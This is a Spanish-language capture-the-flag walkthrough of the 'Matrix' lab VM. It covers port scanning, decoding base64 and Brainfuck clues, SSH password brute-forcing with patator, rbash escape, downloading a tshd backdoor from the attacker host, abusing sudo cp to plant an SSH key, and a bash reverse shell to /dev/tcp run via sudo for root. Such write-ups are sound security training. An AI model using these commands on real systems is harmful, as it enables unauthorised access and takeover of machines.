Esta pagina se ve mejor con JavaScript habilitado

Matrix

 ·  🎃 kr0m

Este CTF de nivel intermedio/bajo es bastante divertido, hay que utilizar lenguajes de programación exóticos para su resolución además de otros conocimientos mas tradicionales. Nos bajamos la imagen de VirtualBox:

Empezamos con un escaneo de puertos:

DirtyCow ☢ /home/kr0m> nmap -sV 192.168.69.206 -p 0-65535

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.7 (protocol 2.0)
80/tcp    open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
31337/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
MAC Address: 08:00:27:E5:B2:AA (Oracle VirtualBox virtual NIC)

Hay dos servicios web programados en python, si accedemos vía curl:

curl 192.168.69.206

* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.14
< Date: Tue, 01 Jan 2019 09:16:53 GMT
< Content-type: text/html
< Content-Length: 3998
< Last-Modified: Mon, 13 Aug 2018 08:47:27 GMT

En la respuesta podemos ver la primera pista:

curl 192.168.69.206

<!-- service -->
<div class="service"><img src="assets/img/p0rt_31337.png"/ width="15">
</div><!-- End / service --> 

"Follow the White Rabbit"
Welcome to the real world, Neo. I'm glad you're here

Consultamos el nuevo puerto y obtenemos unas segunda pista:

curl 192.168.69.206:31337

<!-- service -->
<div class="service">
<!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->

Cypher
"You know.. I know this steak doesn't exist. I know when I put it in my mouth; the Matrix is telling my brain that it is juicy, and delicious. After nine years.. you know what I realize? Ignorance is bliss."

Ese string service_text parece guardar algún secreto, lo decodificamos como base64:

DirtyCow ✺ ~> echo “ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=” | base64 -d
echo “Then you’ll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

Guarda la salida del echo en un fichero llamado Cypher.matrix, probemos a descargarlo:

DirtyCow ✺ ~> wget http://192.168.69.206:31337/Cypher.matrix
DirtyCow ✺ ~> cat Cypher.matrix

+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

Parece ser código BrainFuck:
https://en.wikipedia.org/wiki/Brainfuck

Hay un intérpetre online:
https://fatiherikli.github.io/brainfuck-visualizer/#

Si metemos el código obtenemos:

You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

Vamos a programar un pequeño script que nos genere todas las combinaciones posibles y las guarde en un fichero txt.

DirtyCow ✺ ~> vi permutator.py

from itertools import permutations
 
character = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

file = open('passwords.txt','w')
for i in permutations(character, 2):
    string = 'k1ll0r' + i[0] + i[1]
    print string
    file.write(string + '\n')

file.close()

Lo ejecutamos:

DirtyCow ✺ ~> python permutator.py
DirtyCow ✺ ~> wc -l passwords.txt

3782 passwords.txt

Utilizamos patator para probar el login ssh utilizando el nombre de usuario guest obtenido anteriormente y la wordlist que hemos generado:

DirtyCow ✺ ~> patator.py ssh_login host=192.168.69.206 port=22 user=guest password=FILE0 0=passwords.txt

12:27:29 patator    INFO - 0     19     0.007 | k1ll0r7n                           |  3613 | SSH-2.0-OpenSSH_7.7

Accedemos al server:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22
k1ll0r7n

guest@porteus:~$

Se trata de una shell capada:

guest@porteus:~$ id

-rbash: id: command not found
guest@porteus:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
guest@porteus:~$ /
-rbash: /: restricted: cannot specify `/' in command names
guest@porteus:~$
!          ]]         builtin    compgen    declare    echo       eval       fc         getopts    in         ll         mc         pwd        select     suspend    trap       umask      wait       
./         alias      caller     complete   dirs       elif       exec       fg         hash       jobs       local      mcedit     read       set        test       true       unalias    while      
:          bg         case       compopt    disown     else       exit       fi         help       kill       logout     popd       readarray  shift      then       type       unset      {          
[          bind       cd         continue   do         enable     export     for        history    la         ls         printf     readonly   shopt      time       typeset    until      }          
[[         break      command    coproc     done       esac       false      function   if         let        mapfile    pushd      return     source     times      ulimit     vi         

Podemos enumerar ficheros y dirs con vi y tabulando:

guest@porteus:~$ vi /

.cache/ bin/    dev/    etc/    home/   lib/    lib64/  media/  mnt/    opt/    proc/   root/   run/    sbin/   srv/    sys/    tmp/    usr/    var/    

Veamos que otros usuarios hay:

guest@porteus:~$ vi /etc/passwd

root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:/bin/false
news:x:9:13:news:/usr/lib/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/lib/gdm:/sbin/nologin
oprofile:x:51:51:oprofile:/:/bin/false
usbmux:x:52:83:User for usbmux daemon:/var/empty:/bin/false
sddm:x:64:64:User for SDDM:/var/empty:/bin/false
pulse:x:65:65:User for PulseAudio:/var/run/pulse:/bin/false
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
guest:x:1000:100:,,,:/home/guest:/bin/rbash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
colord:x:72:72:Color Daemon Owner:/var/lib/colord:/bin/false
polkitd:x:28:28:PolicyKit Daemon Owner:/etc/polkit-1:/bin/false
trinity:x:1001:1001::/home/trinity:/bin/bash

Confirmamos que se trata de una shell restringida, mas concretamente rbash:

guest@porteus:~$ echo $SHELL

/bin/rbash

Pasándole las ordenes al comando ssh sí que deja ejecutar otros binarios:

Desktop
Documents
Downloads
Music
Pictures
Public
Videos
prog

Intentemos instalarle un tshd:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 wget http://192.168.69.3:8000/tshd -O /home/guest/prog/tshd
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 chmod 777 /home/guest/prog/tshd
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22

Ejecutamos tshd desde vi:

guest@porteus:~$ vi
!:/home/guest/prog/tshd

Intentamos conectar pero algo falla:

DirtyCow ✺ ~/tsh-0.6> ./tsh 192.168.69.206

sh: line 0: exec: bash: not found

Miremos que hay corriendo:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 ps aux

root       515  0.0  2.6  81340 13300 ?        S    04:16   0:19 python /tmp/server/80/80.py
root       516  1.8  2.7  81612 13836 ?        S    04:16   8:24 python /tmp/server/31337/31337.py
root       587  0.0  0.6  28856  3320 ?        Ss   04:16   0:00 /usr/sbin/sshd

Podemos ver el código fuente pero no hay nada interesante:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 cat /tmp/server/80/80.py
guest@192.168.69.206 ’s password:

#!/usr/bin/python
import SimpleHTTPServer
import SocketServer

PORT=80

Handler=SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.extensions_map.update({'.webapp.':'application/x-web-app-manifest+json',});

httpd=SocketServer.TCPServer(("",PORT),Handler)

print "Serving at port",PORT
httpd.serve_forever()

Hechemos un vistazo al directorio:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 ls -la /tmp/server/80/
guest@192.168.69.206 ’s password:

total 20
drwxr-xr-x 3 root root 4096 Aug 13 08:49 .
drwxr-xr-x 4 root root 4096 Aug 13 09:12 ..
-rw-r--r-- 1 root users 309 Aug 6 17:51 80.py
drwxr-xr-x 7 root root 4096 Aug 13 08:49 assets
-rw-r--r-- 1 root root 3734 Aug 13 08:49 index.html

En el otro python tampoco encontramos nada que nos resulte útil:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 cat /tmp/server/31337/31337.py
guest@192.168.69.206 ’s password:

#!/usr/bin/python
import SimpleHTTPServer
import SocketServer

PORT=31337

Handler=SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.extensions_map.update({'.webapp.':'application/x-web-app-manifest+json',});

httpd=SocketServer.TCPServer(("",PORT),Handler)

print "Serving at port",PORT
httpd.serve_forever()
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 ls -la /tmp/server/31337/
guest@192.168.69.206 ’s password:
total 28
drwxr-xr-x 3 root root 4096 Aug 13 11:39 .
drwxr-xr-x 4 root root 4096 Aug 13 09:12 ..
-rw-r--r-- 1 root root 312 Aug 13 05:19 31337.py
-rw-r--r-- 1 root root 4121 Aug 13 11:36 Cypher.matrix
drwxr-xr-x 7 root root 4096 Aug 13 08:45 assets
-rw-r--r-- 1 root root 3998 Aug 13 08:47 index.html

Comprobemos los comandos permitidos a través de sudo:

DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 sudo -l
guest@192.168.69.206 ’s password:

User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp

Vaya podemos hacer cps como trinity, moficamos el authorized keys de guest para copiárselo a trinity:

DirtyCow ✺ > ssh guest@192.168.69.206 -p22
guest@porteus:
$ vi authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiF8zV98gaV87zVDwhZ8IDxUXs3Xq0NKVT1HY2t3XMjMU6/Sv6WeMeKQtJn/Py5PPXhYkOQ92in5+70WE6fQPt0shH6Hh4ZwY8lKDboLh96XLiCsxZc/IMq0h86QeT2E7FjAXcGo/2gziSYvbnp2Z+JAe5uBm4HtV3419mlEmaRAXGtjQxqcnhoUsLj4gD53ak1H/KUro+GArVDPUoMdSsqxvL0BHGbbcFOIaA3H3GwnGp09bHBNd0fR+Ip6CHRlRIu9oohezOAU+/3ul+FFbZuVlJ8zssaaFOzxjwEhD/2Ghsae3+z6tkrbhEOYN7HvBDejK9WySeI0+bMRqfSaID kr0m@DirtyCow
DirtyCow ✺ ~> ssh guest@192.168.69.206 -p22 sudo -u trinity /bin/cp /home/guest/authorized_keys /home/trinity/.ssh/authorized_keys

Accedemos:

DirtyCow ✺ ~> ssh trinity@192.168.69.206 -p22

Last login: Mon Aug 6 16:37:45 2018 from 192.168.56.102
trinity@porteus:~$ id
uid=1001(trinity) gid=1001(trinity) groups=1001(trinity)

Un poco de fingerprinting:

trinity@porteus:~$ cat /etc/slackware-version

Slackware 14.2+
trinity@porteus:~$ uname -a
Linux porteus 4.16.3-porteus #1 SMP PREEMPT Sat Apr 21 12:42:52 Local time zone must be set-- x86_64 Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz GenuineIntel GNU/Linux

Debe de ser este SO

Veamos de lo que es capaz este usuario mediante sudo:

trinity@porteus:/var/log$ sudo -l

User trinity may run the following commands on porteus:
    (root) NOPASSWD: /home/trinity/oracle

Tal fichero no existe:

trinity@porteus:/var/log$ ls -la /home/trinity/oracle

/bin/ls: cannot access '/home/trinity/oracle': No such file or directory

Lo generamos:

trinity@porteus:~$ vi /home/trinity/oracle

#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.69.3/5555 0>&1

Le damos permisos de ejecución:

trinity@porteus:~$ chmod 777 /home/trinity/oracle

Ponemos un netcat a la escucha:

DirtyCow ✺ ~> nc -l -p 5555

Le metemos caña:

trinity@porteus:~$ sudo /home/trinity/oracle

Recibimos la conexión:

DirtyCow ✺ ~> nc -l -p 5555
root@porteus:/home/trinity# id

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Si te ha gustado el artículo puedes invitarme a un RedBull aquí